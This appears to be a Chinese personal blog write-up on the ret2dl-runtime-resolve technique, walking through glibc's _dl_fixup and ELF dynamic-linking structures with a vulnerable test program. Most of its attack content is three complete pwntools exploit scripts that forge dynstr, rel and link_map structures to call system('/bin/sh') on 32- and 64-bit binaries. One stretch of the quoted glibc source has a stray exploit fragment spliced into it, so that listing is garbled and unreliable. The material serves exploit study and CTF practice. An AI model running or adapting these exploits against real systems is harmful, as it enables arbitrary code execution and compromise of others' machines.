ret2dl-runtime-resolve
196082 慢慢好起来

前段时间因为身体原因摆烂了一周多了,今天又才重新开始做题,报了几场比赛都没能打成就很烦。

ret2dl-runtime-resolve

首先ELF文件的引用外部文件的加载方式分为三种FULL_RELRO、PARTIAL_RELRO、NO_RELRO,在后面两种的情况下存在地址延迟加载。

NO_RELRO

image-20220203123130058

可以看到在第一次调用read函数的时候,此时会先根据GOT表的位置进行jmp到read@plt+6的位置,然后经过两次push之后到_dl_runtime_resolve函数。

在源码中dl_runtime_resolve函数只是call了一下_dl_fixup函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#ifndef reloc_offset  
# define reloc_offset reloc_arg
# define reloc_index reloc_arg / sizeof (PLTREL)
#endif
DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElfW(Word) reloc_arg) {
//获取symtab(存放dynsym的数组)
const ElfW(Sym) *const symtab
= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
//获取strtab(存放符号名的数组)
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
//获取reloc_arg对应的rel.plt项
const PLTREL *const reloc
= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
//获取reloc_arg对应的dynsym
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
const ElfW(Sym) *refsym = sym;
//指向对应的got表,以便将解析结果写回去
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;

/* Sanity check that we're really looking at a PLT relocation. */
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) {
const struct r_found_version *version = NULL;

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) {
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMID# payload = p64(0)+p64(0x4011DD)+b'\x00'*(0x58-0x10)+p64(fake_dynrel_addr) + \
# p64(pop_rdi)+p64(bss+0xa0-0x8) +\
# p64(plt_load)+p64(fake_link_map_addr)+p64(0)
# payload = payload.ljust(0xa0-8, b'\x00')+b'/bin/sh\x00' + \
# p64(bss+0x58)+p64(leave_ret)
# gdb.attach(r)X (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

/* We need to keep the scope around so do some locking. This is
not necessary for objects which cannot be unloaded or when
we are not using any threads (yet). */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P) {
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}

#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;
#endif
//根据符号名,搜索对应的函数,返回libc基地址,并将符号信息保存到sym中
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);

/* We are done with the global scope. */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();

#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
#endif

//得到结果
value = DL_FIXUP_MAKE_VALUE (result,
sym ? (LOOKUP_VALUE_ADDRESS (result)
+ sym->st_value) : 0);
} else {
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
result = l;
}

/* And now perhaps the relocation addend. */
value = elf_machine_plt_value (l, reloc, value);

if (sym != NULL
&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

/* Finally, fix up the plt itself. */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;
//将结果写回到got表中
return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
}

根据源码内容可以看出来解析时是根据符号名的字符串来解析函数的。

1
2
3
4
5
6
7
8
9
10
11
12
#include <unistd.h>  
#include <string.h>
void fun(){
char buffer[0x20];
read(0,buffer,0x200);
}
int main(){
fun();
return 0;
}

// gcc test.c -z norelro -no-pie -fno-stack-protector -m32 -o ret2dlsolve2

现在我们创建这样一个漏洞程序。

在NO_RELRO情况下,因为dynamic可以修改,因此,我们直接修改dynamic的strtab,将它指向我们可控的区域,然后在可控区域对应的位置布置下需要的函数的名字即可,即伪造dynstr。

image-20220203130733878

可以看到上面是有可读可写的权限的。

image-20220203131754166

指向的位置存在这样几个字符串。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

r = process('./ret2dlsolve2')
elf = ELF('./ret2dlsolve2')

pop_ebp = 0x0804848b
leave_ret = 0x08048358
read_plt = elf.plt['read']
read_plt_load = elf.plt['read']+6
bss = elf.bss()
target = 0x804961C+4

payload = b'a'*(0x28+0x4)+p32(pop_ebp)+p32(bss+0x300) + \
p32(read_plt)+p32(leave_ret)+p32(0)+p32(bss+0x300)+p32(0x1000)
r.sendline(payload)

fake_str = b'\x00libc.so.6\x00_IO_stdin_used\x00system\x00'
payload = b'a'*0x4+p32(read_plt)+p32(read_plt_load) + \
p32(0)+p32(target)+p32(0x100)
payload = payload.ljust(0x50, b'\x00')+fake_str
r.sendline(payload)

payload = p32(bss+0x350)+b';sh'
r.sendline(payload)

r.interactive()

64位相较于32位比较类似,又因为参数是在寄存器内保存的所以,直接一次ROP即可解决。

PARTIAL_RELRO

首先再更深层次的观察_dl_runtime_resolve函数的作用。

image-20220203144803843

这一步和上面一样,但是上面没有提到这两个push的作用,先继续往后看。

image-20220203144853692

上面的0是reloc_arg,下面的0xf7ffd918则是link_map的地址。

image-20220203145142419

通过这个地址即可找到.dynamic的地址,也就是上图中的第三个

.dynamic:是ld.so使用的动态链接信息,在/etc/ld.so.conf文件中存放着需要动态加载的目录,使用ldconfig就可以将ld.so.conf中的指定目录的库文件加载到内存中,并记录在/etc/ld.so.cache文件中。ld.so.1文件就可以在高速缓存中访问动态库文件,提高访问速度。导入动态链接库,可以在/etc/ld.so.conf文件中配置,或者使用LD_LIBRARY_PATH环境变量进行引用。

再根据.dynamic的地址找到另外几个结构的地址

image-20220203145416583

其中的地址信息是:

.dynstr 的地址是 .dynamic + 0x44 -> 0x0804821c

.dynstr:动态链接的字符串表,保存动态链接所需的字符串。比如符号表中的每个符号都有一个 st_name(符号名),他是指向字符串表的索引,这个字符串表可能就保存在 .dynstr,而.dynstr结构为正常的字符串数组。

.dynsym 的地址是 .dynamic + 0x4c -> 0x080481cc

.dynsym:动态链接的符号表,保存需要动态连接的符号表,而.dynsym结构如下

1
2
3
4
5
6
7
8
9
10
typedef struct
{
Elf32_Word st_name; //符号名相对.dynstr起始的偏移
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info;
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym;

.rel.plt 的地址是 .dynamic + 0x84 -> 0x08048298

.rel.plt:节的每个表项对应了所有外部过程调用符号的重定位信息。而.rel.plt结构如下

1
2
3
4
typedef struct{
Elf32_Addr r_offset;//指向GOT表的指针,即该函数在got表的偏移
Elf32_Word r_info;
}Elf32_Rel

.rel.plt 的地址加上参数 reloc_arg,即 0x08048298 + 0 -> 0x08048298

找到的就是函数的重定位表项 Elf32_Rel 的指针,记作 rel

image-20220203150027635

通过rel就可以获得Elf32_Rel结构体的数据

1
2
r_offset=0x0804a00c;
r_info=0x00000107;

将r_info>>8得到4也就得到了.dynsym中的下标。

image-20220203150547259

从上往下从0开始,找到与下标相同的行获得第一列的数据根据即为name_offset

image-20220203163308304

为什么是第一列是因为第一列的值其实就是上面写的偏移

再根据.dynstr+name_offset获得函数名的字符串。

image-20220203150933860

最后再根据得到的字符串来执行函数。

梳理一下

1.首先push两个参数进入,随后执行_dl_runtime_resolve

2.根据link_map找到.dynamic地址

3.根据.dynamic找到.dynstr .dynsym .rel.plt

4.根据reloc_arg找到Elf32_Rel的指针rel

5.拿到r_info经过移位拿到index

6.根据index拿到name_offset结合.dynstr计算出函数的名字

rel_addr = .rel.plt_addr + reloc_arg

fake_rel_addr = .rel.plt_addr + fake_reloc_arg

fake_reloc_arg = fake_rel_addr - rel_addr + reloc_arg

根据以上简单的运算就可以实现伪造rel的地址

name_offset_addr=((r_info - 0x7)>>8)*0x10+.dynsym_addr

fake_name_offset_addr=((r_info - 0x7)>>8)*0x10+fake_dynsym_addr

r_info = (((fake_dynsym_addr - .dynsym_addr) / 16) << 8) + 0x7

这里伪造出rel当中的r_info的值

根据上面ida调试的截图很容易可以看出来dynsym的伪造很简单只需要按照原本的模式写就行

fake_dynsym = p32(system_str - dynstr_addr)+p32(0)+p32(0)+p8(0x12)+p8(0)+p16(0)

最终构造exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

r = process('./ret2dlsolve')
elf = ELF('./ret2dlsolve')

read_plt = elf.plt['read']
read_got = elf.got['read']
read_load_plt = 0x80482d0
leave_ret = 0x08048378
pop_ebp = 0x080484ab
dynstr_addr = 0x0804821c
dynsym_addr = 0x080481cc
rel_addr = 0x08048298
bss = elf.bss()

payload = b'a'*(0x28+0x4)+p32(pop_ebp)+p32(bss+0x800) + \
p32(read_plt)+p32(leave_ret)+p32(0)+p32(bss+0x800)+p32(0x1000)
r.sendline(payload)


fake_dynsym_addr = bss+0x910
system_str = bss+0x900

fake_rel = p32(read_got) + \
p32((((fake_dynsym_addr - dynsym_addr) // 16) << 8) + 0x7)
fake_dynsym = p32(system_str - dynstr_addr)+p32(0)+p32(0)+p8(0x12)+p8(0)+p16(0)

fake_rel_addr = fake_dynsym_addr+len(fake_dynsym)
bin_sh_addr = bss+0x900+len(b'system\x00')

payload = b'a'*0x4+p32(read_load_plt)+p32(fake_rel_addr -
rel_addr)+p32(0)+p32(bin_sh_addr)
payload += payload.ljust(0x100, b'\x00') + \
b'system\x00/bin/sh'.ljust(0x10, b'\x00')
payload += fake_dynsym+fake_rel
r.sendline(payload)

r.interactive()

下面是64位的情况,64位不能直接伪造rel.plt

1
2
3
4
5
6
7
8
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) 
{
const ElfW(Half) *vernum =(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

这里,出现了访问未映射的内存,主要原因就是reloc->r_info过大,bss段一般所在位置在0x600000然而真正的rel.plt一般在0x400000。

1
2
3
4
5
6
7
8
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) {  
...
} else {
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
result = l;
}

解决办法是绕过这个if判断进入else。

1
2
3
4
5
6
7
8
9
typedef struct  
{
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf64_Section st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
} Elf64_Sym;

如果我们伪造link_map,让sym->value为某一个已经解析了的函数地址,让l->addr为我们需要的函数地址到已知函数地址的偏移,那么l->l_addr + sym->st_value也就等于我们需要的函数地址。

比如,如果我们把read_got-8处当作sym那么sym->st_value也就等于read的地址,并且st_other正好也不为0,同时绕过了if,一举两得。

此时的rel结构为:

1
2
3
4
5
6
7
8
9
10
typedef struct
{
Elf64_Addr r_offset; /* Address */
Elf64_Xword r_info; /* Relocation type and symbol index */
Elf64_Sxword r_addend; /* Addend */
} Elf64_Rela;
/* How to extract and insert information held in the r_info field. */
#define ELF64_R_SYM(i) ((i) >> 32)
#define ELF64_R_TYPE(i) ((i) & 0xffffffff)
#define ELF64_R_INFO(sym,type) ((((Elf64_Xword) (sym)) << 32) + (type))

image-20220203201328404

在动态调试也可以看到raed在符号表中的偏移为1(0x100000007>>32)

还有注意的就是我们需要伪造这个数组里的几个指针,它们分别是

DT_STRTAB指针:位于link_map_addr +0x68(32位下是0x34)

DT_SYMTAB指针:位于link_map_addr + 0x70(32位下是0x38)

DT_JMPREL指针:位于link_map_addr +0xF8(32位下是0x7C)

(其实我也不知道怎么调用的system,我猜测是因为DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);这句话的原因吧,希望知道的大师傅可以评论一下)

综上得出exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

r = process('./ret2dlsolve_64')
elf = ELF('./ret2dlsolve_64')
libc = ELF('./libc.so.6')

pop_rdi = 0x00000000004005c3
pop_rsi_r15 = 0x00000000004005c1
read_plt = elf.plt['read']
read_got = elf.got['read']
read_load_plt = 0x4003f6
bss = elf.bss()

l_addr = libc.sym['system'] - libc.sym['read']

payload = b'a'*(0x20+0x8)+p64(pop_rdi)+p64(0) + \
p64(pop_rsi_r15)+p64(bss+0x100)+p64(0) + \
p64(read_plt)+p64(elf.symbols['fun'])
r.sendline(payload)

dynstr_addr = 0x400318 # str table
fake_link_map_addr = bss+0x100
r_offset = fake_link_map_addr + l_addr * -1 - 8
l_addr = l_addr & (2**64-1)
fake_strtab = p64(0)+p64(dynstr_addr)
fake_strtab_addr = fake_link_map_addr+0x8

fake_symtab = p64(0)+p64(read_got-0x8)
fake_symtab_addr = fake_link_map_addr+0x18

fake_dynrel_addr = fake_link_map_addr+0x28
fake_rel_addr = fake_link_map_addr+0x38
fake_dynrel = p64(0)+p64(fake_rel_addr)
fake_rel = p64(r_offset)+p64(0x7)+p64(0)

fake_link_map = p64(l_addr)+fake_strtab+fake_symtab+fake_dynrel+fake_rel
fake_link_map = fake_link_map.ljust(0x68, b'\x00')
fake_link_map += p64(fake_strtab_addr)+p64(fake_symtab_addr)
fake_link_map = fake_link_map.ljust(0xf8,b'\x00')+p64(fake_dynrel_addr)
fake_link_map = fake_link_map.ljust(0x100,b'\x00')+b'/bin/sh'
r.sendline(fake_link_map)

bin_sh_addr = fake_link_map_addr+0x100

payload = b'a'*(0x20+0x8)+p64(pop_rdi) + \
p64(bin_sh_addr)+p64(read_load_plt) + \
p64(fake_link_map_addr)+p64(0)
r.sendline(payload)
r.interactive()

参考链接

https://blog.csdn.net/seaaseesa/article/details/104478081

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve/#second-try-no-leak

https://blog.csdn.net/jzc020121/article/details/116312592#t3

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量